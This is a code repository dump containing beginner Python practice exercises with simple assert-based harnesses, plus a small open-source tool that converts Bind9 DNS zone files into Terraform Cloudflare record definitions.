-> [0, 2, 4, 6, 8]\n# VERY EASY\ndef solution4():\n\treturn (range(0,10,2))\n\n# 5) Write a function which inverts the capitalization of the string A and returns the result\n# (You cannot use swapcase())\n# \"ThiS IS a STrinG\" -> \"tHIs is A stRINg\"\n# EASY\ndef solution5(A):\n\tstring = \"\"\n\tfor letter in A:\n\t\tif letter.isupper():\t\n\t\t\tstring = string + letter.lower()\n\t\telse:\n\t\t\tstring = string + letter.upper()\n\treturn string\n\n# 6) Write a function which returns a string containing only words from another string over 4 letters long\n# The returned string should have words delimited by spaces. Don't leave spaces at the beginning or end of the returned string\n# \"this is a really complicated string\" -> \"really complicated string\"\n# MEDIUM\n\ndef solution6(s):\n\tstring = \"\"\n\tfor word in s.split():\n\t\tif not len(word) > 4:\n\t\t\tcontinue\n\t\tif len(string) == 0:\n\t\t\tstring = word\n\t\telse:\n\t\t\tstring = string + \" \" + word\n\treturn string\n\n# 7) Write a function which returns an array containing integers in the Fibonacci sequence up to 377\n# https://en.wikipedia.org/wiki/Fibonacci#Fibonacci_sequence \n#\t1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377\n# MEDIUM\ndef solution7():\n\tarray = []\n\tsum = 1\n\tlast_sum = 1\n\twhile last_sum < 600:\n\t\tarray.append(last_sum) \n\t\tt = last_sum + sum\n\t\tlast_sum = sum\n\t\tsum = t\n\treturn array \n\n# 8) Write a function which returns an array containing the first 10 prime numbers\n# (Zero and one are not prime numbers)\n# HARD\n# 2,3,5,7,11,13,17,19,23,29\ndef solution8():\n\tarray = [ ]\n\ti = 1 \t\n\twhile len(array) < 20:\n\t\ti = i+1\n\t\tok = True\n\t\tfor n in range(2, i):\n\t\t\tif not i % n:\n\t\t\t\tok = False\n\t\t\t\tbreak\n\t\tif ok: \n\t\t\tarray.append(i)\n\treturn array\n\n# 9) Write a function which takes a string, which is an arithmetic expression containing only floats and one of +,-,/,*, and returns the result of the expression as a string\n# Normal rules for operator precedence do not apply, just use the operators in the sequence you read them\n# \"50.0+60.0/10.0*20.0\" -> \"220.0\"\n# VERY HARD\ndef solution9(expr):\n\tnumber_strings = expr.replace(\"+\",\" \").replace(\"/\",\" \").replace(\"*\",\" \").replace(\"-\",\" \").split(\" \")\n\tnumber = [ ]\n\tfor word in number_strings:\n\t\tnumber.append(float(word))\n\toperators = [ ]\n\tfor letter in expr:\n\t\tif letter == \"+\" or letter == \"-\" or letter == \"/\" or letter == \"*\":\n\t\t\toperators.append(letter)\n\toffset = 0\n\tsum = number[offset]\n\tfor operator in operators:\n\t\toffset +=1\n\t\tif operator == \"+\":\n\t\t\tsum = sum + number[offset]\n\t\tif operator == \"*\":\n\t\t\tsum = sum * number[offset]\n\t\tif operator == \"/\":\n\t\t\tsum = sum / number[offset]\n\t\tif operator == \"-\":\n\t\t\tsum = sum - number[offset]\n\treturn str(sum)\n#\tprint(str(number) + str(operators))\t\n#return None\n\n# IGNORE EVERYTHING BELOW THIS LINE\n\ndef solution1_harness():\n\tret = solution1(\"hello\", \"world\")\n\tassert ret == \"hello world\"\n\treturn ret\ndef solution2_harness():\n\tret = solution2(1, 99)\n\tassert ret == 100\n\treturn ret\ndef solution3_harness():\n\tret = solution3()\n\tassert ret == [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\treturn ret\ndef solution4_harness():\n\tret = solution4()\n\tassert ret == [0, 2, 4, 6, 8]\n\treturn ret\ndef solution5_harness():\n\tret = solution5(\"ThiS IS a STrinG\")\n\tassert ret == \"tHIs is A stRINg\"\n\treturn ret\ndef solution6_harness():\n\tret = solution6(\"this is a really complicated string\")\n\tassert ret == \"really complicated string\"\n\treturn ret\ndef solution7_harness():\n\tret = solution7()\n\tassert ret == [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377]\n\treturn ret\ndef solution8_harness():\n\tret = solution8()\n\tassert ret == [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71]\n\treturn ret\ndef solution9_harness():\n\tret = solution9(\"50.0+60.0/10.0*20.0\")\n\tassert ret == \"220.0\"\n\treturn ret\n\nimport sys\nimport inspect\nimport traceback\n\ndef menu():\n\tsolution = raw_input(\"which solution do you want to run? (1 to 9) (q to quit) \")\n\tif solution == \"q\":\n\t\treturn True\n\tif solution.isdigit():\n\t\tharness_fn = globals()[\"solution\" + str(solution) + \"_harness\"]\n\t\traw_fn = globals()[\"solution\" + str(solution)]\n\t\tprint(\"\")\n\t\tprint(inspect.getsource(raw_fn))\n\t\tif harness_fn:\n\t\t\ttry:\n\t\t\t\tret = harness_fn()\n\t\t\t\tif ret:\n\t\t\t\t\tprint(ret)\n\t\t\t\tprint(\"Congratulations, You Go girl!\")\n\t\t\texcept:\n\t\t\t\t_, _, tb = sys.exc_info()\n\t\t\t\ttraceback.print_tb(tb)\n\t\t\t\tprint(\"\")\n\t\t\t\tprint(\"Solution or harness is wrong! Keep trying, you can do it!\")\n\t\t\tprint(\"\")\n\treturn False\n\nif __name__ == \"__main__\":\n\twhile not menu():\n\t\tpass" }, { "alpha_fraction": 0.6089510321617126, "alphanum_fraction": 0.670489490032196, "avg_line_length": 30.64601707458496, "blob_id": "5cd9b95295e81e526926d9fe1d6cbaf3dc5596bd", "content_id": "28cb61df242d6b2bf969018c61cc5c8ee56e4e3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3575, "license_type": "no_license", "max_line_length": 173, "num_lines": 113, "path": "/problems1.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# 1) Write a function which takes two strings strA and strB and returns them joined with a space\n# \"hello\", \"world\" -> \"hello world\"\ndef solution1(strA, strB):\n\n# 2) Write a function which adds 2 integers A and B and returns the result\n# a, b -> a + b\ndef solution2(A, B):\n\n# 3) Write a function which returns the integers 0 -> 9 (inclusive) as an array\n# -> [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\ndef solution3():\n\n# 4) Write a function which returns the even integers between 0 -> 9 as an array\n# -> [0, 2, 4, 6, 8]\ndef solution4():\n\n# 5) Write a function which inverts the capitalization of the string A and returns the result\n# (You cannot use swapcase())\n# \"ThiS IS a STrinG\" -> \"tHIs is A stRINg\"\ndef solution5(A):\n\n# 6) Write a function which returns a string containing only words from another string over 4 letters long\n# The returned string should have words delimited by spaces. Don't leave spaces at the beginning or end of the returned string\n# \"this is a really complicated string\" -> \"really complicated string\"\n\ndef solution6(s):\n\n# 7) Write a function which returns an array containing integers in the Fibonacci sequence up to 377\n# https://en.wikipedia.org/wiki/Fibonacci#Fibonacci_sequence \n#\t1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377\ndef solution7():\n\n# 8) Write a function which returns an array containing the first 10 prime numbers\n# (Zero and one are not prime numbers)\n# 2,3,5,7,11,13,17,19,23,29\ndef solution8():\n\n# 9) Write a function which takes a string, which is an arithmetic expression containing only floats and one of +,-,/,*, and returns the result of the expression as a string\n# Normal rules for operator precedence do not apply, just use the operators in the sequence you read them\n# \"50.0+60.0/10.0*20.0\" -> \"220.0\"\ndef solution9(expr):\n\n# IGNORE EVERYTHING BELOW THIS LINE\n\ndef solution1_harness():\n\tret = solution1(\"hello\", \"world\")\n\tassert ret == \"hello world\"\n\treturn ret\ndef solution2_harness():\n\tret = solution2(1, 99)\n\tassert ret == 100\n\treturn ret\ndef solution3_harness():\n\tret = solution3()\n\tassert ret == [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\treturn ret\ndef solution4_harness():\n\tret = solution4()\n\tassert ret == [0, 2, 4, 6, 8]\n\treturn ret\ndef solution5_harness():\n\tret = solution5(\"ThiS IS a STrinG\")\n\tassert ret == \"tHIs is A stRINg\"\n\treturn ret\ndef solution6_harness():\n\tret = solution6(\"this is a really complicated string\")\n\tassert ret == \"really complicated string\"\n\treturn ret\ndef solution7_harness():\n\tret = solution7()\n\tassert ret == [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377]\n\treturn ret\ndef solution8_harness():\n\tret = solution8()\n\tassert ret == [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71]\n\treturn ret\ndef solution9_harness():\n\tret = solution9(\"50.0+60.0/10.0*20.0\")\n\tassert ret == \"220.0\"\n\treturn ret\n\nimport sys\nimport inspect\nimport traceback\n\ndef menu():\n\tsolution = raw_input(\"which solution do you want to run? (1 to 9) (q to quit) \")\n\tif solution == \"q\":\n\t\treturn True\n\tif solution.isdigit():\n\t\tharness_fn = globals()[\"solution\" + str(solution) + \"_harness\"]\n\t\traw_fn = globals()[\"solution\" + str(solution)]\n\t\tprint(\"\")\n\t\tprint(inspect.getsource(raw_fn))\n\t\tif harness_fn:\n\t\t\ttry:\n\t\t\t\tret = harness_fn()\n\t\t\t\tif ret:\n\t\t\t\t\tprint(ret)\n\t\t\t\tprint(\"Congratulations, You Go girl!\")\n\t\t\texcept:\n\t\t\t\t_, _, tb = sys.exc_info()\n\t\t\t\ttraceback.print_tb(tb)\n\t\t\t\tprint(\"\")\n\t\t\t\tprint(\"Solution or harness is wrong! Keep trying, you can do it!\")\n\t\t\tprint(\"\")\n\treturn False\n\nif __name__ == \"__main__\":\n\twhile not menu():\n\t\tpass" }, { "alpha_fraction": 0.5578106045722961, "alphanum_fraction": 0.5992209911346436, "avg_line_length": 21.37614631652832, "blob_id": "a41b63d9d2f759e5faca411d8dcc4d9cb8ee36e9", "content_id": "c081aa1bf0e2d116d684f54995a6d981d3ce2541", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4878, "license_type": "no_license", "max_line_length": 91, "num_lines": 218, "path": "/problems3.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# 1) Sort the words provided in the list 'list' and return them as an array of sorted words\ndef solution1(list):\n\tfor i in range(len(list)-1):\n\t\tminm = ord(list[i][0])\n\t\tnew_index = i \n\t\tfor j in range (i+1, len(list)):\n\t\t\tif ord(list[j][0]) < minm:\n\t\t\t\tminm = ord(list[j][0])\n\t\t\t\tnew_index = j\n\t\t\tif new_index != i:\n\t\t\t\tt= list[new_index]\n\t\t\t\tlist[new_index] = list[i]\n\t\t\t\tlist[i] = t\t\t\t\t\t\n\treturn list\n\t\n# Rock Paper Scissors\n# Determine which player wins a game of RPS based on a record of the game\n#\n# Example:\n# Input data:\n# 3\n# SS PR\n# PR RS PS PP SP\n# PS RR PS RP\n#\n# Correct output:\n# 1 1 2\n\ndef solution2(list):\n\tgames = [ ]\n\tfor i in range(1,len(list)):\n\t\tP1_wins = 0\n\t\tP2_wins = 0 \n\t\tfor e in list[i]:\n\t\t\tif e[0] == e[1]:\n\t\t\t\tcontinue\n\t\t\tif e[0] == \"S\" and e[1] == \"P\":\n\t\t\t\tP1_wins = P1_wins + 1\n\t\t\telif e[0] == \"P\" and e[1] == \"R\":\n\t\t\t\tP1_wins = P1_wins + 1\n\t\t\telif e[0] == \"R\" and e[1] == \"S\":\n\t\t\t\tP1_wins = P1_wins + 1\n\t\t\telse: \n\t\t\t\tP2_wins = P2_wins + 1\n\t\tif P1_wins > P2_wins:\n\t\t\tgames.append(1)\n\t\telse:\n\t\t\tgames.append(2)\n\treturn games\n\t\t\t\n\n\n\n# Print hex str\n# Print a string in hexadecimal\n#\n# input: \"A0!\"\n# output: \"413021\"\n#\n# input: \"Hi, People\"\n# output: \"48692C2050656F706C65\"\n\ndef solution3(string):\n\tlady = \"\"\n\tfor sexy in string:\n\t\tx = ord(sexy) % 16\n\t\tif x>=0 and x<=9:\n\t\t\tx = str(x)\n\t\tif x>=10 and x<=15:\n\t\t\tx = chr(x+55)\n\t\tlady = lady + str(ord(sexy)/16) + x\n\treturn lady\n\n# emirp prime\n#\n# Given a list of input integers, find a value greater\n# than or equal to that integer which is prime when\n# read as a string in both directions.\n#\n# For example, 13 and 31 are both prime numbers, so\n# if the input value given was '12', '13' would be\n# the proper output.\n#\n# The list passed into the function contains the\n# number of numbers to test, followed by the numbers\n# themselves.\n#\n# Input:\n# 3\n# 10\n# 20\n# 50\n#\n# Output:\n# 11\n# 31\n# 71\n\ndef is_prime(number):\n\tprime = True\n\tfor mod in range(2,number):\n\t\tif number % mod == 0:\n\t\t\tprime = False\n\t\t\tbreak\n\treturn prime\n\ndef reverse (number):\n\tnumber_reversed_str = str(number)[::-1]\n\tnumber_reversed = int(number_reversed_str)\n\treturn number_reversed\n\ndef solution4(list):\n\toutput = []\n\tfor i in range(1,len(list)):\n\t\tnumber = list[i]\n\t\twhile True:\n\t\t\tif is_prime(number):\n\t\t\t\tif is_prime(reverse(number)):\n\t\t\t\t\tbreak\n\t\t\tnumber = number + 1\n\t\toutput.append(number)\n\treturn output\n\n# Knight's Tour\n#\n# 8 | - - - - - - - -\n# 7 | - - - - - - - -\n# 6 | - - 2 - 1 - - -\n# 5 | - 3 - - - 0 - -\n# 4 | - - - X - - - - X - depicts the Knight's initial position here\n# 3 | - 4 - - - 7 - - and digits - landing squares for 8 different jumps\n# 2 | - - 5 - 6 - - -\n# 1 | - - - - - - - -\n# +-----------------\n# a b c d e f g\n#\n# Given a board of dimensions NxM, and a removed square P,Q,\n# calculate a series of 'rotations' of the Knight such that\n# it would traverse every square in the board (except the\n# removed square) but only visit each square once.\n#\n# The answer assumes you will start at 0,0 and test rotations\n# in sequence, so for example rotation 0 would be the first\n# valid move. The board tested is 3x4 and the removed square\n# is at 3,2. The coordinates of the removed square are\n# 0-indexed.\n#\n# The input data is formatted like:\n# [ Board_N, Board_M, Removed_P, Removed_Q ]\n#\n# The output data should be formatted like:\n# [ Start_X, Start_Y, Rotation, Rotation, Rotation, ... ]\n\ndef solution5(list):\n\treturn list\n\n# IGNORE EVERYTHING BELOW THIS LINE\n\ndef solution1_harness():\n\tlist = [ \"horse\", \"dog\", \"snake\", \"cat\" ]\n\tret = solution1(list)\n\tassert ret == [ \"cat\", \"dog\", \"horse\", \"snake\" ]\n\treturn ret\n\ndef solution2_harness():\n\tlist = [ 3, [ \"SS\", \"PR\" ], [ \"PR\", \"RS\", \"PS\", \"PP\", \"SP\" ], [ \"PS\", \"RR\", \"PS\", \"RP\" ] ]\n\tret = solution2(list)\n\tassert ret == [ 1, 1, 2 ]\n\treturn ret\n\ndef solution3_harness():\n\tret = solution3(\"A0!\")\n\tassert ret == \"413021\"\n\tret = solution3(\"Hi, People\")\n\tassert ret == \"48692C2050656F706C65\"\n\treturn ret\n\ndef solution4_harness():\n\tret = solution4([ 3, 10, 20, 50 ])\n\tassert ret == [ 11, 31, 71 ]\n\treturn ret\n\ndef solution5_harness():\n\tret = solution5([ 3, 4, 3, 2 ])\n\tassert ret == [ 0, 0, 0, 3, 6, 0, 3, 6, 3, 0, 6, 3 ]\n\treturn ret\n\nimport sys\nimport inspect\nimport traceback\n\ndef menu():\n\tsolution = raw_input(\"which solution do you want to run? (1 to 9) (q to quit) \")\n\tif solution == \"q\":\n\t\treturn True\n\tif solution.isdigit():\n\t\tharness_fn = globals()[\"solution\" + str(solution) + \"_harness\"]\n\t\traw_fn = globals()[\"solution\" + str(solution)]\n\t\tprint(\"\")\n\t\tprint(inspect.getsource(raw_fn))\n\t\tif harness_fn:\n\t\t\ttry:\n\t\t\t\tret = harness_fn()\n\t\t\t\tif ret:\n\t\t\t\t\tprint(str(ret) + \" \"+ \"Nice job...You go girl!\") \n\t\t\texcept:\n\t\t\t\t_, _, tb = sys.exc_info()\n\t\t\t\ttraceback.print_tb(tb)\n\t\t\t\tprint(\"\")\n\t\t\t\tprint(\"Try again... you got it!!!\")\n\t\t\tprint(\"\")\n\treturn False\n\nif __name__ == \"__main__\":\n\twhile not menu():\n\t\tpass\n" }, { "alpha_fraction": 0.5356619358062744, "alphanum_fraction": 0.5930629968643188, "avg_line_length": 36.21818161010742, "blob_id": "4ce4fde1e2acc9e139eb0e8b35b39d4e361d00b6", "content_id": "985ae130c554262b0dfb511604a20c73f5f4da9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4094, "license_type": "no_license", "max_line_length": 95, "num_lines": 110, "path": "/problems2.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# 1) Return the golden ratio https://en.wikipedia.org/wiki/Golden_ratio as a float\n# Hint: you need to use an import\ndef solution1():\n\n# 2) Write a function which tests if a list is a palindrome. This means that the list reads the\n# same way forwards as it does backwards i.e. [a,b,c,d,c,b,a]\n# Return True if it is a palindrome, and False if it is not\ndef solution1(list):\n\n# 3) Compress a list 'A' containing consecutive entries using a run length encoding strategy.\n# You should return a list containing other lists which are the number of repetitions\n# followed by the repeated entry itself. You should not modify the list if the entry\n# is not repeated.\n# https://en.wikipedia.org/wiki/Run-length_encoding\n# For example, the list [1,3,3,3,4,4,4,4,1,5,5,5,5,5,1] should be transformed to\n# [1,[3,3],[4,4],1,[5,5],1] and the list\n# ['a','a','a','b','c','c','d','e','f'] should be transformed to\n# [[3,'a'],'b',[2,'c'],'d','e','f']\ndef solution3(A):\n\n# 4) Use the RLE data you created above and decompress it back to the original input.\n# Return as the original list.\n# [1,[3,3],[4,4],1,[5,5],1] -> [1,3,3,3,4,4,4,4,1,5,5,5,5,5,1]\n# [[3,'a'],'b',[2,'c'],'d','e','f'] -> ['a','a','a','b','c','c','d','e','f']\n# Hint: You can use isinstance(entry, list) to check if something is an array\ndef solution4(RLE):\n\n# 5) Sort an array of integers in descending numerical order. Return a sorted array.\n# [5, 6, 3, 7, 8, 2, 0, 1, 9, 4] -> [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]\n# [1, 9] -> [9, 1]\n# Hint: Selection sort or bubble sort is an easy way to solve this problem\ndef solution5(A):\n\n# 6) FizzBuzz problem. Given a start value S and an end value E, return an array\n# containing the values between S and E (inclusive). Replace any integer that\n# is a multiple of 3 with the string \"Fizz\", and multiple of 5 with the string\n# \"Buzz\", and any multiple of 3 and 5 with the string \"FizzBuzz\".\n# For example, given (5, 15), the returned array would be:\n# [\"Buzz\", \"Fizz\", 7, 8, \"Fizz\", \"Buzz\", 11, \"Fizz\", 13, 14, \"FizzBuzz\"]\ndef solution6(S, E):\n\n# IGNORE EVERYTHING BELOW THIS LINE\n\ndef solution1_harness():\n\tret = solution1()\n\tassert str(ret)[:10] == \"1.61803398\"\n\treturn ret\ndef solution2_harness():\n\tret = solution2([1, 2, 3, 2, 1])\n\tassert ret == True\n\tret = solution2([1, 2, 3, 4, 5])\n\tassert ret == False\n\tret = solution2(['a', 'b', 'b', 'a'])\n\tassert ret == True\n\tret = solution2(['x', 'y', 'z', 'a'])\n\tassert ret == False\ndef solution3_harness():\n\tret = solution3([1,3,3,3,4,4,4,4,1,5,5,5,5,5,1])\n\tassert ret == [1,[3,3],[4,4],1,[5,5],1]\n\tret = solution3(['a','a','a','b','c','c','d','e','f'])\n\tassert ret == [[3,'a'],'b',[2,'c'],'d','e','f']\ndef solution4_harness():\n\tret = solution4([1,[3,3],[4,4],1,[5,5],1])\n\tassert ret == [1,3,3,3,4,4,4,4,1,5,5,5,5,5,1]\n\tret = solution4([[3,'a'],'b',[2,'c'],'d','e','f'])\n\tassert ret == ['a','a','a','b','c','c','d','e','f']\ndef solution5_harness():\n\tret = solution5([5, 6, 3, 7, 8, 2, 0, 1, 9, 4])\n\tassert ret == [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]\n\tret = solution5([1, 9])\n\tassert ret == [9, 1]\ndef solution6_harness():\n\tret = solution6(5, 15)\n\tassert ret == [\"Buzz\", \"Fizz\", 7, 8, \"Fizz\", \"Buzz\", 11, \"Fizz\", 13, 14, \"FizzBuzz\"]\n\treturn ret\n\nimport sys\nimport inspect\nimport traceback\n\ndef menu():\n\tif sys.version_info <= (2, 7):\n\t\tsolution = raw_input(\"which solution do you want to run? (1 to 9) (q to quit) \")\n\telse:\n\t\tsolution = input(\"which solution do you want to run? (1 to 9) (q to quit) \")\n\tif solution == \"q\":\n\t\treturn True\n\tif solution.isdigit():\n\t\tharness_fn = globals()[\"solution\" + str(solution) + \"_harness\"]\n\t\traw_fn = globals()[\"solution\" + str(solution)]\n\t\tprint(\"\")\n\t\tprint(inspect.getsource(raw_fn))\n\t\tif harness_fn:\n\t\t\ttry:\n\t\t\t\tret = harness_fn()\n\t\t\t\tif ret:\n\t\t\t\t\tprint(ret)\n\t\t\texcept:\n\t\t\t\t_, _, tb = sys.exc_info()\n\t\t\t\ttraceback.print_tb(tb)\n\t\t\t\tprint(\"\")\n\t\t\t\tprint(\"Solution or harness is wrong!\")\n\t\t\tprint(\"\")\n\treturn False\n\nif __name__ == \"__main__\":\n\twhile not menu():\n\t\tpass\n" }, { "alpha_fraction": 0.4751037359237671, "alphanum_fraction": 0.5622406601905823, "avg_line_length": 17.538461685180664, "blob_id": "5b38459dbe482432aecec26cbe7743775e80bb85", "content_id": "2f9026ea0241a608c3fb4d67a9b16457a00cda4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 482, "license_type": "no_license", "max_line_length": 103, "num_lines": 26, "path": "/RLE.py", "repo_name": "vanecie/python_practice", "src_encoding": "UTF-8", "text": "'''#Problem #1: Run Length Encoding --> #1 decompress: return array as [1,3,3,3,4,4,4,4,1,5,5,5,5,5,1] \narray = [1,[3,3],[4,4],1,[5,5],1]\n\nnew = [ ]\nfor i in array:\n\tif isinstance(i,list):\n\t\tn= i[0]\n\t\tv= i[1]\n\t\tfor j in range(n):\n\t\t\tnew.append(v)\t\n\telse:\n\t\tnew.append(i)\nprint (new)'''\n\t\t\n\n\n#Problem #2: Palindromes--> return True if a palindrome\n\nold = [1,2,3,4,5,4,3,2,1]\n\nfor i in range(len(old)-1,-1,-1):\n\tj = len(old) - 1 - i\n\tif old[i] != old[j]:\n\t\tprint (False)\n\nprint(True)\n" } ]
8
pa-yourserveradmin-com/terraform-named-cloudflare
https://github.com/pa-yourserveradmin-com/terraform-named-cloudflare
cbec112c0f10c952649ef7132f63c28e60adcabd
872b03ae37751eb61849fdd3d07281a0391dcad7
acbafcb504d062f66fea65fadf933aeefc90c55b
refs/heads/master
2021-07-13T07:58:39.197476
2020-02-03T01:34:54
2020-02-03T01:34:54
237,805,304
2
0
MIT
2020-02-02T17:06:37
2020-03-25T00:29:59
2021-03-20T02:48:28
Python
[ { "alpha_fraction": 0.6285714507102966, "alphanum_fraction": 0.633766233921051, "avg_line_length": 27.875, "blob_id": "09de3648d9924a0ad086ce23966cc8e49ebeaddd", "content_id": "a69e7fcffb7057250317d132afa67189a830ab33", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1155, "license_type": "permissive", "max_line_length": 118, "num_lines": 40, "path": "/setup.py", "repo_name": "pa-yourserveradmin-com/terraform-named-cloudflare", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\n\ndef readme():\n with open('README.md', 'r') as fp:\n return fp.read()\n\n\ndef requirements():\n with open('requirements.txt', 'r') as fp:\n return fp.read().split()\n\n\nsetup(\n author='Andrew Poltavchenko',\n author_email='[email protected]',\n classifiers=[\n 'Development Status :: 1 - Planning',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n \"Operating System :: OS Independent\",\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: Implementation :: CPython',\n ],\n description='Module to easily convert Bind9 (named) zones into Terraform CloudFlare provider records definitions',\n include_package_data=True,\n install_requires=requirements(),\n license='MIT',\n long_description=readme(),\n long_description_content_type='text/markdown',\n name='terraform_named_cloudflare',\n packages=[\n 'terraform_named_cloudflare'\n ],\n scripts=[\n 'scripts/terraform-named-cloudflare'\n ],\n url='https://github.com/pa-yourserveradmin-com/terraform-named-cloudflare',\n version='0.0.2',\n)\n" }, { "alpha_fraction": 0.7701205015182495, "alphanum_fraction": 0.7720481753349304, "avg_line_length": 24.9375, "blob_id": "05926e67667d1d8521f2cf89f0e726c96b4a541c", "content_id": "f741113c35b16602e97b1d759f9ce794156de479", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2075, "license_type": "permissive", "max_line_length": 84, "num_lines": 80, "path": "/README.md", "repo_name": "pa-yourserveradmin-com/terraform-named-cloudflare", "src_encoding": "UTF-8", "text": "# terraform-named-cloudflare\n\nPython module and tool to easily convert Bind9 (named) zones into Terraform\nCloudFlare provider records definitions.\n\nThis module parses Bind9 (named) zone file and generates Terraform code with\nCloudFlare resources definitions.\n\nTo make the result code organized, code separated based on DNS records types.\n\n## Installation\n\n### Production\n\nThe simplest way to install the module is to use PIP:\n\n```bash\npip install terraform-named-cloudflare\n```\n\n### Development\n\nTo install the module from sources, just clone the repository and install the\nmodule:\n\n```bash\ngit clone https://github.com/pa-yourserveradmin-com/terraform-named-cloudflare.git\ncd terraform-named-cloudflare\npython3 setup.py install\n```\n\n## Usage\n\nExample usage scenario is the next:\n\n```bash\nterraform-named-cloudflare \\\n --file <NAMED_ZONE_FILE> \\\n --zone-id <CLOUDFLARE_ZONE_ID> \\\n --zone-name <CLOUDFLARE_ZONE_NAME>\n```\n\nWhere:\n\n- `NAMED_ZONE_FILE` - the absolute or relative path to zone file in Bind9 (named)\nformat.\n- `CLOUDFLARE_ZONE_ID` - the optional CloudFlare zone ID (can be found in CloudFlare\nWEB interface).\n- `CLOUDFLARE_ZONE_NAME` - the optional CloudFlare zone name (the same as domain\nname).\n\nSince not all records need to be converted in Terraform code, the script ignores\nsome of them and just prints ignored records to standard output to provide ability\nreview them and add manually.\n\n## Requirements\n\nThere are no specific requirements except a few weel-known and widelly used Python\nmodules listed in the [requirements.txt](requirements.txt) and automatically\ninstalled with module.\n\n## Limitations\n\nThe module does not understand DNS RRD records and always will create only one\nresource with the same name. The rest will be ignored and printed to standard\noutput for review and manual changes in Terraform code.\n\n## Supported DNS records types\n\nCurrently this module supports the next types of DNS records:\n\n- A\n- AAAA\n- CNAME\n- MX\n- SRV\n- TXT\n\nOther types of DNS records can be added based on the need. Also, contrinutions\nare always welcome.\n" }, { "alpha_fraction": 0.6120689511299133, "alphanum_fraction": 0.6206896305084229, "avg_line_length": 18.33333396911621, "blob_id": "da5fdee81fe0f09eb139f5303384c8ab74b2c6d8", "content_id": "4bcc9aa9524f72960bd0e65b953f85eb8b9d8980", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 116, "license_type": "permissive", "max_line_length": 52, "num_lines": 6, "path": "/scripts/terraform-named-cloudflare", "repo_name": "pa-yourserveradmin-com/terraform-named-cloudflare", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom terraform_named_cloudflare.__main__ import main\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.50766921043396, "alphanum_fraction": 0.5176725387573242, "avg_line_length": 27.42654037475586, "blob_id": "69f31cd7286776ed46bdc1493a1995c7f1bd7abc", "content_id": "2918e33fe981d6217665bbcd5b3ff47bc229a35a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5998, "license_type": "permissive", "max_line_length": 119, "num_lines": 211, "path": "/terraform_named_cloudflare/__main__.py", "repo_name": "pa-yourserveradmin-com/terraform-named-cloudflare", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport argparse\nimport jinja2\nimport re\n\nA = re.compile(pattern=r'^([*a-zA-z0-9.-]+)\\s+(\\d+)?\\s+?IN\\s+A\\s+(\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3})')\nAAAA = re.compile(pattern=r'^([*a-zA-z0-9.-]+)\\s+(\\d+)?\\s+IN\\s+AAAA\\s+(.[^$]*)')\nCNAME = re.compile(pattern=r'^([*a-zA-z0-9.-]+)\\s+(\\d+)?\\s+?IN\\s+CNAME\\s+([a-zA-z0-9.-]+)')\nMX = re.compile(pattern=r'^([a-zA-z0-9.-]+)\\s+(\\d+)?\\s+?IN\\s+MX\\s+(\\d+)\\s+([a-zA-z0-9.-]+)')\nSRV = re.compile(pattern=r'^((_.[^.]*).(_[^.][a-z]+).?(.[^\\s]*)?)\\s+(\\d+)\\s+IN\\s+SRV\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(.*)')\nTXT = re.compile(pattern=r'^([a-zA-z0-9.-]+)\\s+(\\d+)?\\s+?IN\\s+TXT\\s+(.*)')\n\nresources = {\n 'A': {},\n 'AAAA': {},\n 'CNAME': {},\n 'MX': {},\n 'SRV': {},\n 'TXT': {}\n}\n\n\ndef comment(record):\n match = re.match(r'^;.*', record)\n if match:\n return True\n return False\n\n\ndef fix(name):\n name = name.strip('.').replace('.', '_')\n if re.match(pattern=r'^\\d', string=name):\n name = '_{}'.format(name)\n if name.startswith('*'):\n name = name.replace('*', 'star')\n return name\n\n\ndef a(record):\n match = re.match(A, record)\n if match:\n resource = fix(match.group(1))\n if resource in resources['A']:\n return False\n resources['A'][resource] = {\n 'name': match.group(1),\n 'ttl': match.group(2),\n 'value': match.group(3)\n }\n return True\n return False\n\n\ndef aaaa(record):\n match = re.match(AAAA, record)\n if match:\n resource = fix(match.group(1))\n if resource in resources['AAAA']:\n return False\n resources['AAAA'][resource] = {\n 'name': match.group(1),\n 'ttl': match.group(2),\n 'value': match.group(3)\n }\n return True\n return False\n\n\ndef cname(record):\n match = re.match(CNAME, record)\n if match:\n resource = fix(match.group(1))\n if resource in resources['CNAME']:\n return False\n resources['CNAME'][resource] = {\n 'name': match.group(1),\n 'ttl': match.group(2),\n 'value': match.group(3).strip('.')\n }\n return True\n return 